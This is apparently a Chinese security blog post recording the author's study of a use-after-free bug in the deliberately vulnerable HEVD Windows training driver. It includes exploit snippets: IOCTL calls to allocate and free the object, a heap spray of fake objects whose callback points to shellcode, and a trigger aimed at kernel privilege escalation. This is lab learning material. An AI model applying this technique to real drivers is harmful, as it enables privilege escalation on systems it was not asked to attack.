-
-
windows内核漏洞学习-HEVD篇之UAF
-
2022-3-11 15:39 11660
-
结合《windows内核原理与实现》,本篇主要记录对UAF漏洞的学习,包含原理、实践和出现的问题
0x2 UAF
0x21 原理
申请的内存块被释放后,其对应的指针没有被设置为 NULL,下次申请内存的时候可能会再次使用该内存块,使用代码对这块内存进行修改,之前的内存指针就可以访问修改过的内存。程序再次使用这块内存时,就可能会出现问题。
0x22 实践
漏洞点:
g_UseAfterFreeObjectNonPagedPool在内存块释放了之后,指针没有置空,因此会成为悬空指针(dangling pointer)
查看g_UseAfterFreeObjectNonPagedPool的结构体PUSE_AFTER_FREE_NON_PAGED_POOL的定义
有一个callback,在调用UseUaFObjectNonPagedPool时会调用
因此存在uaf漏洞,我们需要将callback修改成我们的shellcode
利用:
思路:
- 申请内存
- 释放内存
- 申请一个内存,将callback指向我们的shellcode
- 调用UseUaFObjectNonPagedPool,shellcode就会执行
查看dwIoControlCode:
编写exp:
1、申请和释放
1 2 | DeviceIoControl(hDevice, 0x222013 , NULL, NULL, NULL, 0 , &rBuf, NULL); / / 调用AllocateUaFObject()函数申请内存 DeviceIoControl(hDevice, 0x22201B , NULL, NULL, NULL, 0 , &rBuf, NULL); / / 调用FreeUaFObject()函数释放对象 |
2、构造一个内存块,将callback指向我们的shellcode
参考common.h和UseAfterFreeNonPagedPool.h中的定义
1 2 3 4 5 6 | typedef void ( * FunctionPointer)(void); typedef struct _USE_AFTER_FREE_NON_PAGED_POOL { FunctionPointer Callback; CHAR Buffer [ 0x54 ]; } USE_AFTER_FREE_NON_PAGED_POOL, * PUSE_AFTER_FREE_NON_PAGED_POOL; |
1 2 3 | PUSE_AFTER_FREE_NON_PAGED_POOL fake_UseAfterFree = (PUSE_AFTER_FREE_NON_PAGED_POOL)malloc(sizeof(USE_AFTER_FREE_NON_PAGED_POOL)); fake_UseAfterFree - >Callback = ShellCode; RtlFillMemory(fakeG_UseAfterFree - > Buffer , sizeof(fake_UseAfterFree - > Buffer ), 'A' ); |
但是由于windows的内存管理在释放一块内存时可能会与相邻的内存块合并以便构成更大的空闲块,只申请一块假堆并不能保证刚好用的是之前释放的那块内存,所以需要申请多个假堆
1 2 3 4 | for ( int i = 0 ; i < 5000 ; i + + ) { DeviceIoControl(hDevice, 0x22201F , fake_UseAfterFree, 0x60 , NULL, 0 , &recvBuf, NULL); } |
最后调用UseUaFObjectNonPagedPool,此时的callback函数已经变成我们的shellcode
1 | DeviceIoControl(hDevice, 0x222017 , NULL, NULL, NULL, 0 , &recvBuf, NULL); |
最终main函数:
执行情况:
0x23 出现的问题
1、使用官方的提权shellcode会出现蓝屏,不太理解
2、堆喷射偶尔会失败,即并未覆盖到正确的位置从而没能成功提权
赞赏
他的文章